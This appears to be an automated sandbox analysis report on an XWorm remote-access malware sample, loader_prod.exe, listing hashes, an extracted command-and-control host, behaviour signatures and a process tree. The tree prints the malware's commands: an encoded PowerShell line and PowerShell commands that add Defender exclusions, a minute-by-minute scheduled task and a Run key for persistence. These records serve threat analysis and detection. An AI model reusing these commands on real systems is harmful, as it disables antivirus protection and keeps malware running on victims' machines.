Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
22/01/2025, 11:01
Static task
static1
Behavioral task
behavioral1
Sample
loader_prod.exe
Resource
win10v2004-20241007-en
General
-
Target
loader_prod.exe
-
Size
89KB
-
MD5
328d05edc1ca2d1d3cc892beca505143
-
SHA1
be02dc90c9f8993c7286ecdf15759e420b214ecf
-
SHA256
7f4036762f4c4b3e8172c8df055973b78bd2f697d9a9d29c194830b6b02394c7
-
SHA512
ae5617621611b8acd7954dffd493e065dbc6fc2830c6e5ac71b85ba3c89b43eb201a1ecf7f5f1fc6d30ed4cd4562be760c5476a51b6aef399f26e6198a55705d
-
SSDEEP
1536:Br8Ahimg9SRqFun0+Eu9AFVU9sLwKGcCHoS1oVZJeEAhtjlpDefQ01:BgNIqFun0+Ea2LUca8eEA/jldoQ0
Malware Config
Extracted
xworm
trip-thesaurus.gl.at.ply.gg:16715
-
Install_directory
%AppData%
-
install_file
Update.exe
Signatures
-
Detect Xworm Payload 2 IoCs
resource yara_rule behavioral1/files/0x000c000000023b6c-4.dat family_xworm behavioral1/memory/4672-12-0x0000000000B80000-0x0000000000B9C000-memory.dmp family_xworm -
Xworm family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4460 powershell.exe 4244 powershell.exe 3684 powershell.exe 2580 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation loader_prod.exe Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation Update.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Update.lnk Update.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Update.lnk Update.exe -
Executes dropped EXE 4 IoCs
pid Process 4672 Update.exe 1364 Update.exe 2152 Update.exe 4104 Update.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update = "C:\\Users\\Admin\\AppData\\Roaming\\Update.exe" Update.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 15 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language loader_prod.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 412 schtasks.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4672 Update.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 628 powershell.exe 628 powershell.exe 3684 powershell.exe 3684 powershell.exe 2580 powershell.exe 2580 powershell.exe 4460 powershell.exe 4460 powershell.exe 4244 powershell.exe 4244 powershell.exe 4672 Update.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2868 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 4672 Update.exe Token: SeDebugPrivilege 628 powershell.exe Token: SeDebugPrivilege 3684 powershell.exe Token: SeDebugPrivilege 2580 powershell.exe Token: SeDebugPrivilege 4460 powershell.exe Token: SeDebugPrivilege 4244 powershell.exe Token: SeDebugPrivilege 4672 Update.exe Token: SeDebugPrivilege 1364 Update.exe Token: SeDebugPrivilege 2868 taskmgr.exe Token: SeSystemProfilePrivilege 2868 taskmgr.exe Token: SeCreateGlobalPrivilege 2868 taskmgr.exe Token: SeDebugPrivilege 2152 Update.exe Token: SeDebugPrivilege 4104 Update.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe 2868 taskmgr.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4672 Update.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 3548 wrote to memory of 628 3548 loader_prod.exe 83 PID 3548 wrote to memory of 628 3548 loader_prod.exe 83 PID 3548 wrote to memory of 628 3548 loader_prod.exe 83 PID 3548 wrote to memory of 4672 3548 loader_prod.exe 85 PID 3548 wrote to memory of 4672 3548 loader_prod.exe 85 PID 4672 wrote to memory of 3684 4672 Update.exe 88 PID 4672 wrote to memory of 3684 4672 Update.exe 88 PID 4672 wrote to memory of 2580 4672 Update.exe 90 PID 4672 wrote to memory of 2580 4672 Update.exe 90 PID 4672 wrote to memory of 4460 4672 Update.exe 92 PID 4672 wrote to memory of 4460 4672 Update.exe 92 PID 4672 wrote to memory of 4244 4672 Update.exe 94 PID 4672 wrote to memory of 4244 4672 Update.exe 94 PID 4672 wrote to memory of 412 4672 Update.exe 96 PID 4672 wrote to memory of 412 4672 Update.exe 96 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\loader_prod.exe"C:\Users\Admin\AppData\Local\Temp\loader_prod.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3548 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAagBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAZgBwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAZgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGcAZABtACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:628
-
-
C:\Users\Admin\AppData\Roaming\Update.exe"C:\Users\Admin\AppData\Roaming\Update.exe"2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4672 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Update.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3684
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Update.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2580
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Update.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4460
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Update.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4244
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Update" /tr "C:\Users\Admin\AppData\Roaming\Update.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:412
-
-
-
C:\Users\Admin\AppData\Roaming\Update.exeC:\Users\Admin\AppData\Roaming\Update.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1364
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2868
-
C:\Users\Admin\AppData\Roaming\Update.exeC:\Users\Admin\AppData\Roaming\Update.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2152
-
C:\Users\Admin\AppData\Roaming\Update.exeC:\Users\Admin\AppData\Roaming\Update.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4104
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
654B
MD52ff39f6c7249774be85fd60a8f9a245e
SHA1684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA5121d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD51f545274ba19d9199a78f74cd05e8187
SHA14036cf78d3f310af42963c8f16ae27c5922b5dff
SHA2563b4780cb2e226f4b05643c0b512960e694f21b35bbbe84d5c5e97628e1f8909c
SHA512b0f66a6c32cb7f2f96b51c141ffe7df7f4fd61a792e6a3756f54b6d0df6f48d7a3bda23d46ee1e18a22ac995520fb9c4ca1b444d204bdd8f3e4b8651f59adc0d
-
Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
-
Filesize
944B
MD5ba169f4dcbbf147fe78ef0061a95e83b
SHA192a571a6eef49fff666e0f62a3545bcd1cdcda67
SHA2565ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1
SHA5128d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
766B
MD554d395bd07715af94bad3a910774420b
SHA143408e2442338e4e27dec475150b62602c195a65
SHA2562934994a75310a485585cc826c35c3c1069c4e328325e2f4cefdf1c5971f60cd
SHA5120ab08ff784a6f7d7d6bba2415bc304153416897ac727478034bfbb1f8a319555e2d8abb00a8868c220757c54a2773ec9d109795ccaae0dce3195ee8f8246b839
-
Filesize
83KB
MD56908326829a181b7d9682442946b31e6
SHA145089240ad3b298ec177703e0c52731930ae1a83
SHA256f87c0372fa88cce78b0ea55b12690f2b69d457a767982d29eee7ee21c3ac04ae
SHA512144b7167b2e6e984b7f202ab075b61a49621c12648ec3c46bb130e16d2fca1846f3962772f4db8f5f0f7f104d4d6dd3e3820542cfa004cc70b60f014b687e120